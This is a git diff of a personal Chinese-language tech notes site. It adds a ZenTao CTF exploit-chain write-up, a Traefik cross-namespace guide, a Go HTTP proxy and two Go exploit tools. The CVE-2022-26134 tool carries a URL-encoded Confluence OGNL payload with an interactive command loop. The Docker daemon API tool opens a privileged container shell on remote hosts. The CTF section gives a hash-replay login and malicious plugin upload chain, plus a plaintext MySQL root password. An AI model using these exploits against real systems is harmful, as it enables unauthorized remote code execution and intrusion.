print('[+] Step 6: install extension')
install_url = (
f'{BASE_URL}/index.php?m=extension&f=install'
'&extension=ctf_flag_ext'
'&downLink='
'&md5='
'&type='
'&overridePackage=no'
'&ignoreCompatible=yes'
'&overrideFile=yes'
'&agreeLicense=yes'
'&upgrade=no'
)
install_resp = session.get(install_url, headers={'Referer': upload_url})
install_resp.raise_for_status()

print('[+] Step 7: read flag')
flag_resp = session.get(f'{BASE_URL}/data/readflag.php')
flag_resp.raise_for_status()
print(flag_resp.text.strip())
finally:
print(f'[+] temp workdir kept at: {workdir}')
# 如需自动删除本地临时目录,可以取消下一行注释。
# shutil.rmtree(workdir)


if __name__ == '__main__':
main()
+

运行:

+
python3 -m pip install requests
BURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'
+

0x09 Burp 抓包重点​

+

建议重点看这几个包:

+

1. 未授权泄露历史​

+
GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1
Host: 127.0.0.1:18088
X-Requested-With: XMLHttpRequest
+

响应里搜索:

+
新值为
+

2. 获取登录随机数​

+
GET /index.php?m=user&f=refreshRandom HTTP/1.1
Host: 127.0.0.1:18088
+

响应体就是 rand,同时会设置或更新 session cookie。

+

3. 哈希重放登录​

+
GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<同一个会话>
+

4. 上传插件 ZIP​

+
POST /index.php?m=extension&f=upload HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=upload
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----xxx

------xxx
Content-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"
Content-Type: application/zip

<zip bytes>
------xxx--
+

如果没有 Referer,框架会认为 CSRF,清空上传内容,导致上传失败或返回上传页面 HTML。

+

5. 安装插件​

+
GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=install
+

6. 读取 flag​

+
GET /data/readflag.php HTTP/1.1
Host: 127.0.0.1:18088
+

响应:

+
flag{12345}
+

0x0a 利用链总结​

+

完整链路如下:

+
action.ajaxGetList 未授权
↓
读取 user:15 操作历史
↓
泄露密码修改后的数据库哈希
↓
refreshRandom 获取 session rand
↓
构造 md5(leaked_hash + rand)
↓
哈希重放登录 admin
↓
后台上传恶意插件 ZIP
↓
插件安装复制 www/data/readflag.php
↓
访问 /data/readflag.php 读取 /flag
+

最终结果:

+
flag{12345}
+

0x0b 清理痕迹​

+

如果是本地 CTF 环境,验证结束后可以清理插件文件:

+
docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'
docker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'
docker exec mysql8 mysql -uroot -p6722786Dai zentao -e "delete from zt_extension where code=\"ctf_flag_ext\";"
+

比赛环境一般不需要清理;本地复盘建议清理,避免后续误用遗留 webshell。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html b/en/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html new file mode 100644 index 0000000..8acb830 --- /dev/null +++ b/en/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html @@ -0,0 +1,72 @@ + + + + + +Traefik资源跨命名空间调用 | wjlin0 + + + + + + + +

Traefik资源跨命名空间调用

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:23:54
+

前沿​

+

在研究traefik跨命名空间调用资源时,发现有一个非常坑人的点,就是 traefik文档有一个东西叫 跨服务商命名空间(Provider Namespace),这个是什么东西呢,就是如果你在 k3s/k8s中有需要对docker提供商创建的资源进行调用时,你可以开启跨服务商命名空间。还有一个就是Kubernetes自带的命名空间,我们需要操作的就是这个命名空间。

+

这里的namespace: default

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: default
namespace: default # 就是这个字段
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`www.wjlin0.com`) && PathPrefix(`/`) #
kind: Rule
services:
- name: default
+

利用​

+

如何进行跨命名空间资源调用呢,在traefik文档中提到有个参数allowCrossNamespace,这个参数是控制跨命名空间资源调用,(默认关闭的,不允许跨命名空间资源调用)。

+

这是helm安装,参数所在位置.

+
......
......
......
# -- Define [Startup Probe](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-startup-probes)
startupProbe: {}

providers: # @schema additionalProperties: false
kubernetesCRD:
# -- Load Kubernetes IngressRoute provider
enabled: true
# -- Allows IngressRoute to reference resources in namespace other than theirs
allowCrossNamespace: true
......
......
+

开启后,配置跨命名空间资源调度,需要遵守以下命名规则。

+
<资源命名空间>-<资源名称>@提供商
+

了解了上诉的操作步骤,我们应该怎么做呢,我接下来给出一个案例;

+

需求时,我将k3s-apiserver的ping目录,通过traefik,导出到外部访问。

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`)
kind: Rule
services:
- name: kubernetes #
port: 443
scheme: https
+

在上诉配置中我们成功将服务kubernetes导出到外部访问,但是你访问之后会发现,该路由爆500的错误

+
➜  ~ curl https://kube.wjlin0.com/ping
Internal Server Error
➜ ~
+

这是因为kubernetes的证书是自签证书,你需要对该证书进行引用或者忽略。首先我们找到这个证书,它位于服务器的

+
/var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt
+

然后我们将 证书 base64 转换。

+
base64 -w 0 /var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt
+

然后通过rootCAsSecrets 引用进来,当然你可以都保存在default,这里是在演示如何跨命名空间调用。

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes # 替换为你的服务名称
port: 443 # 替换为你的服务端口
# strategy: RoundRobin # 负载均衡策略,默认为 RoundRobin
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
insecureSkipVerify: false
rootCAsSecrets:
- k3s-serving-kube-apiserver
---
apiVersion: v1
kind: Secret
metadata:
name: k3s-serving-kube-apiserver
namespace: kube-system
data:
ca.crt: ......
+

再次进行命令

+
➜  ~ curl https://kube.wjlin0.com/ping
pong
➜ ~
+

小插曲​

+

⚠️ 小插曲,这里遇到一个问题就是如下.

+

我使用下面的配置 通过 traefik 吧 kubernetes 服务端的 ping 目录导出来,然而 出现了证书错误 500

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes
port: 443 # 替换为你的服务端口
scheme: https
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
serverName: kubernetes.default.svc
insecureSkipVerify: false
rootCAsSecrets:
- k3s-serving
certificatesSecrets:
- k3s-serving
+

这是我的错误

+
2024-12-31T19:01:08+08:00 DBG github.com/traefik/traefik/v3/pkg/proxy/httputil/proxy.go:113 > 500 Internal Server Error error="tls: failed to verify certificate: x509: certificate signed by unknown authority"
+

事实上 k3s-serving 这个是 k3s 的 的证书

+
➜  ~ k get secrets -n kube-system k3s-serving -o yaml
apiVersion: v1
data:
tls.crt: ..........
tls.key: .......
kind: Secret
metadata:
.......
.......
.......
name: k3s-serving
namespace: kube-system
type: kubernetes.io/tls
+

我尝试去解决它 ,于是我创建了一个 sercert ,发现它 能够访问了

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes
port: 443 # 替换为你的服务端口
scheme: https
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
serverName: kubernetes.default.svc
insecureSkipVerify: false
rootCAsSecrets:
- meta
certificatesSecrets:
- k3s-serving
---
apiVersion: v1
kind: Secret
metadata:
name: meta
namespace: kube-system
data:
ca.crt: ..... # the k3s crt base64
+

我找到一个类似的问题 #7788

+

翻了一下源代码,发现只对ca.crt、tls.ca和一个出现的密钥

+

总结​

+

traefik默认不开启跨命名调用,如果需要,需要在安装时,打开配置allowCrossNamespace为true,并使用命名规则

+
When you declare certain objects in the Traefik dynamic configuration, such as middleware, services, TLS options or server transports, they reside in their provider's namespace. For example, if you declare a middleware using a Docker label, it resides in the Docker provider namespace.

If you use multiple providers and wish to reference such an object declared in another provider (e.g. referencing a cross-provider object like middleware), then the object name should be suffixed by the @ separator, and the provider name.

For the list of the providers names, see the supported providers table below.

<resource-name>@<provider-name>

As Kubernetes also has its own notion of namespace, one should not confuse the provider namespace with the Kubernetes Namespace of a resource when in the context of cross-provider usage.

In this case, since the definition of a Traefik dynamic configuration object is not in Kubernetes, specifying a Kubernetes Namespace when referring to the resource does not make any sense.

On the other hand, if you were to declare a middleware as a Custom Resource in Kubernetes and use the non-CRD Ingress objects, you would have to add the Kubernetes Namespace of the middleware to the annotation like this <middleware-namespace>-<middleware-name>@kubernetescrd.
+

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html new file mode 100644 index 0000000..4fca5a9 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html @@ -0,0 +1,56 @@ + + + + + +go-proxy-http | wjlin0 + + + + + + + +

go-proxy-http

+
+

[!Note]

+

项目:go-proxy-http

+
+

知识点​

+

监听端口​

+
+

监听tcp端口

+
+
con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))
if err != nil {
log.Panic(err)
}
+
+

接收回答

+
+
client, err := con.Accept()
if err != nil {
continue
}
+
+

读到接收的数据,传入b byte数组

+
+
var b = make([]byte, max)
_, err := client.Read(b[:])

if err != nil {
return
}
+

Sscanf​

+
+

以空格为分割读取数据

+
+
fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\n')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)
+

net.Dial​

+
+

建立tcp连接

+
+
server, err := net.Dial("tcp", serverAddress)
+
+

写入报文

+
+
server.Write(b[:])
+
+

将client 写入 server

+
+
go io.Copy(server, client)

+

完整代码​

+
package main

import (
"bytes"
"flag"
"fmt"
"io"
"log"
"net"
"net/url"
"strings"
)

var (
port int
max int
)

func Banner() {

fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
go-proxy-http `)
}
func Init() {
flag.IntVar(&port, "port", 1024, "端口")
flag.IntVar(&max, "max", 1024, "报文大小")
}
func main() {
Init()
Banner()
flag.Parse()
checkArgs()
log.Printf("代理端口: %v 最大报文大小: %v", port, max)
con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))

if err != nil {
log.Panic(err)
}
for {
client, err := con.Accept()
if err != nil {
continue
}
go handleConnection(client)
}
}

func checkArgs() {
//flag.Usage()
if max < 1024 {
log.Panic("报文大小最好不小于1024个字节")
}
}

func handleConnection(client net.Conn) {
var b = make([]byte, max)
_, err := client.Read(b[:])

if err != nil {
return
}
var method, proxyUrl, httpProtocolVersion, serverAddress string
fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\n')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)
urlParse, err := url.Parse(proxyUrl)
if err != nil {
return
}

if method == "CONNECT" {
serverAddress = urlParse.Scheme + fmt.Sprintf(":%v", urlParse.Opaque)

} else {
if strings.Index(urlParse.Host, ":") == -1 { //host不带端口, 默认80
serverAddress = urlParse.Host + ":80"
} else {
serverAddress = urlParse.Host
}
}
server, err := net.Dial("tcp", serverAddress)
if err != nil {
return
}
if method == "CONNECT" {
_, err := client.Write([]byte("HTTP/1.1 200 Connection established\r\n\r\n"))
if err != nil {
return
}
} else {
server.Write(b[:])
}
go io.Copy(server, client)
go io.Copy(client, server)
fmt.Printf("%v -> %v\n", client.RemoteAddr(), server.RemoteAddr())
}

+

运行实例​

+

image-20221229005710852

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html new file mode 100644 index 0000000..9d8b8b0 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html @@ -0,0 +1,88 @@ + + + + + +CVE-2022-26134 | wjlin0 + + + + + + + +

CVE-2022-26134

+
+

[!Note]

+

项目:CVE-2022-26134-wjlin0

+
+

知识点​

+

flag包使用​

+
+

设置参数遍历

+
+
flag.StringVar(&proxy, "proxy", "", "代理")
flag.StringVar(&target, "url", "", "目标")
flag.StringVar(&listUrl, "list", "", "目标列表")
+

文件读写​

+
if listUrl != "" {
fmt.Println("正在打开文件")
filePath := listUrl
file, err := os.Open(filePath)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewScanner(file)
for {
if !reader.Scan() {
break
}
target := reader.Text()
target = strings.TrimSpace(target)
targets = append(targets, urlHandler(target))
}
+

字符串替换​

+
if !strings.HasPrefix(target, "http") {
target = "http://" + target
}
// 有/结尾的就去掉/
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}
+

设置请求代理​

+
if proxy != "" {
url_i := url.URL{}
urlProxy, error := url_i.Parse(proxy)
if error != nil {
fmt.Println(error.Error())
return
}
transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}
fmt.Println("设置代理: ", proxy, " 成功")
}
+

用户读入​

+
+

利用bufio解决 Scanf、Scan、Scanln不读入空格的问题

+
+
fmt.Print("\n输入命令:")
reader := bufio.NewReader(os.Stdin)
com, _, _ := reader.ReadLine()
if string(com) != "" {
break
}
+

交叉编译​

+

windows编译​

+
+

[!Tip]

+

windows下编译三种系统

+
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=windows
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=linux
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=darwin
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
+

linux 编译​

+
+

[!Tip]

+

linux 下编译三种系统

+
+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+

Mac编译​

+
+

[!Tip]

+

Mac下编译三种系统

+
+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+

代码​

+
package main

import (
"bufio"
"bytes"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
)

var target string
var targets []string
var listUrl string
var proxy string
var transport = &http.Transport{}

func Init() {
flag.StringVar(&proxy, "proxy", "", "代理")
flag.StringVar(&target, "url", "", "目标")
flag.StringVar(&listUrl, "list", "", "目标列表")
}
func Banner() {
fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
CVE-2022-26134`)
}

func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") {
target = "http://" + target
}
// 有/结尾的就去掉/
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}

return target
}

func checkProxy() {
if proxy != "" {
url_i := url.URL{}
urlProxy, error := url_i.Parse(proxy)
if error != nil {
fmt.Println(error.Error())
return
}
transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}
fmt.Println("设置代理: ", proxy, " 成功")
}
}

func checkArgs() {
if target != "" {
targets = append(targets, urlHandler(target))
}
if listUrl != "" {
filePath := listUrl
file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 066)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err == io.EOF {
break
}
targets = append(targets, urlHandler(target))
}
}
if targets == nil {
//flag.Usage()
os.Exit(0)
}
}
func check(t string) (b bool) {
b = false
vulurl := t + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
req, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))
if er != nil {
fmt.Println(er)
fmt.Println("请求失败")
return
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
client := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}
resp, er := client.Do(req)
if er != nil {
return
}
status := resp.StatusCode
header := resp.Header.Get("X-Cmd-Response")
if header == "" && status == 302 {
b = false
fmt.Println("目标:", t, "不存在漏洞")
} else {
b = true
fmt.Println("目标:", t, "存在漏洞")
}
return

}
func exp(t string, comm string) {
vulurl := t + `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22` + comm + `%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/`
req, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))
if er != nil {
fmt.Println(er)
fmt.Println("请求失败")
return
}
client := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}
resp, _ := client.Do(req)
res := resp.Header.Get("X-Cmd-Response")
res = strings.TrimSpace(res)
fmt.Print("\n执行结果:\n")
fmt.Printf("%v", res)
}
func main() {
fmt.Println(os.Args)
Banner()
Init()
flag.Parse()
checkArgs()
checkProxy()
var successTargets []string
for _, t := range targets {
b := check(t)
if b {
successTargets = append(successTargets, t)
}
}
if successTargets != nil {
var i int
var t string
var comm string

fmt.Println("选择目标:")
for i, tar := range successTargets {
fmt.Println("目标:", tar, " , ", i)
}
if len(successTargets) == 1 {
t = successTargets[0]
} else {
_, err := fmt.Scanln(&i)
if err != nil {
t = successTargets[0]
}
}

t = successTargets[i]
for {
fmt.Print("\n输入命令:")
reader := bufio.NewReader(os.Stdin)
com, _, _ := reader.ReadLine()
if string(com) == "" {
break
}
comm = strings.Replace(string(com), " ", "%20", -1)
exp(t, comm)
}
} else {
fmt.Println("没有目标存在漏洞")
}

}

+

遇到的问题​

+

go get 遇到的问题​

+
+

[!DANGER]

+

go get 时 可以直接使用 go get -u -v github.com/wjlin0/CVE-2022-26134 就可将二进制文件拉去至$GOPATH/bin/目录下如果设置了全局变量就可直接使用,而不需要 go mod init github.com/wjlin0/CVE-2022-26134 之后再 go get -u -v github.com/wjlin0/CVE-2022-26134 因为他不是一个软件包如下图

+
+

image-20221226014043696

+

bufio.NewReader.ReadString​

+
+

[!DANGER]

+

默认情况下,文件若最后一排没有\n 则reader.ReadString('\n') 会产生一个错误,那么最后一排的数据也正是我们需要的,所以也要再次做一个判断添加

+
+
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
if target != "" {
targets = append(targets, urlHandler(target))
}
break
}
}
//fmt.Printf("%#v\n", target)
target = strings.TrimSpace(target)
//fmt.Printf("%#v\n", target)
targets = append(targets, urlHandler(target))
}
+

image-20221226125038280

+
+

[!DANGER]

+

在读入时ReadString('\n') ,会将 \n 一块读入,需要用户自行处理 \r\n 或者 \n

+
+

image-20221226124550770

+

go 代理缓存拉取不到最新版本​

+
+

[!DANGER]

+

使用了代理,我的GOPROXY设置为 https://goproxy.cn,direct了,大概率是这个代理自己有缓存,所以我无法获取到更新之后的模块A。

+
+

解决方法就是更改GOPROXY的设置

+
go env -w GOPROXY=https://goproxy.io,direct 
+

运行实例图​

+

image-20221225232018339

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html new file mode 100644 index 0000000..1edfc3c --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html @@ -0,0 +1,35 @@ + + + + + +docker-daemon-api-rce | wjlin0 + + + + + + + +

docker-daemon-api-rce

+
+

[!Note]

+

项目:docker-daemon-api-rce-wjlin0

+
+

知识点​

+

并发​

+
+

利用Goroutine 快速实现大量并发

+
+
c1 := make(chan map[interface{}]interface{}, thread)
for _, t := range targets {
//利用 go 关键字 开启 gorountine
//wg.Add(1)
go check(t, c1)
}
for _, _ = range targets {
// 从通道内取值
b := <-c1
fmt.Printf("%v\n", b)
}
//wg.Wait()
+
func check(t string, ch chan map[interface{}]interface{}) {
fmt.Println("开始检测目标 ", t)
b := func() (b map[interface{}]interface{}) {
b = map[interface{}]interface{}{}
cmd := exec.Command("docker", "-H", t, "ps")
checkSocksProxy(cmd)
//fmt.Println(cmd)
out, err := cmd.CombinedOutput()
if err != nil {
b[t] = false
return b
}
if strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {
b[t] = true
return b
} else {
b[t] = true
return b
}
}()
// 将结果传入通道ch中
ch <- b
}
+

命令行交互式输入输出​

+
cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")
checkSocksProxy(cmd)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Start()
if err != nil {
return
}
err = cmd.Wait()
if err != nil {
fmt.Println("攻击利用失败")
return
}
+

go 给每个cmd设置环境变量​

+
var cmdEnv []string
cmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)
cmd.Env = cmdEnv
+

代码​

+
package main

import (
"bufio"
"flag"
"fmt"
"io"
"os"
"os/exec"
"regexp"
"strings"
)

var target string
var targets []string
var list string
var proxy string
var mod string
var thread int

//var wg sync.WaitGroup

func main() {
Init()
Banner()
flag.Parse()
checkArgs()
checkDocker()
if proxy != "" {
fmt.Println("设置代理: " + proxy)
}
switch mod {
case "check":
c1 := make(chan map[interface{}]interface{}, thread)
for _, t := range targets {
//wg.Add(1)
go check(t, c1)
}
for _, _ = range targets {
b := <-c1
fmt.Printf("%v\n", b)
}
//wg.Wait()
case "exp":
exp()
default:
os.Exit(-1)
}
}

func checkDocker() {
cmd := exec.Command("docker", "--version")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("检查Docker是否存在时,出现错误")
panic(err)
}
if !strings.Contains(string(out), "Docker version") {
fmt.Println("docker未启动 或 不存在docker,请检查")
os.Exit(-1)
}
}
func Init() {
flag.StringVar(&target, "target", "", "目标")
flag.StringVar(&list, "list", "", "目标列表")
flag.StringVar(&proxy, "proxy", "", "代理")
flag.IntVar(&thread, "thread", 20, "并发量(仅在check模式下生效)")
flag.StringVar(&mod, "mod", "check", "模式(check|exp)")
}
func Banner() {

fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
Docker Api 未授权访问 `)
}
func urlHandler(target string) string {
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}
if !strings.HasPrefix(target, "tcp") {
target = "tcp://" + target
}
if !strings.HasPrefix(target, "http") {
target = strings.Replace(target, "http", "tcp", -1)

}
if !strings.HasPrefix(target, "https") {
target = strings.Replace(target, "https", "tcp", -1)

}
regIp := regexp.MustCompile(`^[\d\.]+$`)
if len(regIp.FindAllString(target, -1)) > 0 {
regPort := regexp.MustCompile(`^(tcp://)?\d+\.\d+\.\d+\.\d+:\d+$`)
if len(regPort.FindAllString(target, -1)) == 0 {
target = target + ":80"
}
} else {
regPort := regexp.MustCompile(`^(tcp://)?.+:\d+$`)
if len(regPort.FindAllString(target, -1)) == 0 {
target = target + ":80"
}
}
return target
}
func checkArgs() {
if target != "" {
targets = append(targets, urlHandler(target))
}
if list != "" {
fmt.Println("正在打开文件")
filePath := list
file, err := os.Open(filePath)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
if target != "" {
targets = append(targets, urlHandler(target))
}
break
}
}
//fmt.Printf("%#v\n", target)
target = strings.TrimSpace(target)
if target == "" {
continue
}
//fmt.Printf("%#v\n", target)
targets = append(targets, target)
}
}

if targets == nil {
flag.Usage()
os.Exit(0)
}
}
func check(t string, ch chan map[interface{}]interface{}) {
fmt.Println("开始检测目标 ", t)
b := func() (b map[interface{}]interface{}) {
b = map[interface{}]interface{}{}
cmd := exec.Command("docker", "-H", t, "ps")
checkSocksProxy(cmd)
//fmt.Println(cmd)
out, err := cmd.CombinedOutput()
if err != nil {
b[t] = false
return b
}
if strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {
b[t] = true
return b
} else {
b[t] = true
return b
}
}()
ch <- b
//wg.Done()
}
func exp() {
var t string
var i int
fmt.Println("请选择攻击目标")
for i, tar := range targets {
fmt.Println("目标:", tar, " , ", i)
}
if len(targets) == 1 {
t = targets[0]
} else {
_, err := fmt.Scanln(&i)
if err != nil {
t = targets[0]
}
}
t = targets[i]
cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")
checkSocksProxy(cmd)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Start()
if err != nil {
return
}
err = cmd.Wait()
if err != nil {
fmt.Println("攻击利用失败")
return
}

}
func checkSocksProxy(cmd *exec.Cmd) {
if proxy == "" {
return
}
proxy = strings.TrimSpace(proxy)
if strings.HasPrefix(target, "http") {
fmt.Println("检查是否为socks(4、4a、5)代理")
os.Exit(-1)
}

var cmdEnv []string
cmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)
cmd.Env = cmdEnv
}
+

运行示例图​

+

image-20221227164823898

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html new file mode 100644 index 0000000..ce3d6fb --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-map/index.html @@ -0,0 +1,64 @@ + + + + + +map | wjlin0 + + + + + + + +

map

+

map是一种无序的基于key-value的数据结构,Go语言中的map是引用类型,必须初始化才能使用。

+

map定义​

+

Go语言中 map的定义语法如下:

+
map[KeyType]ValueType
+

其中,

+
    +
  • KeyType:表示键的类型。
  • +
  • ValueType:表示键对应的值的类型。
  • +
+

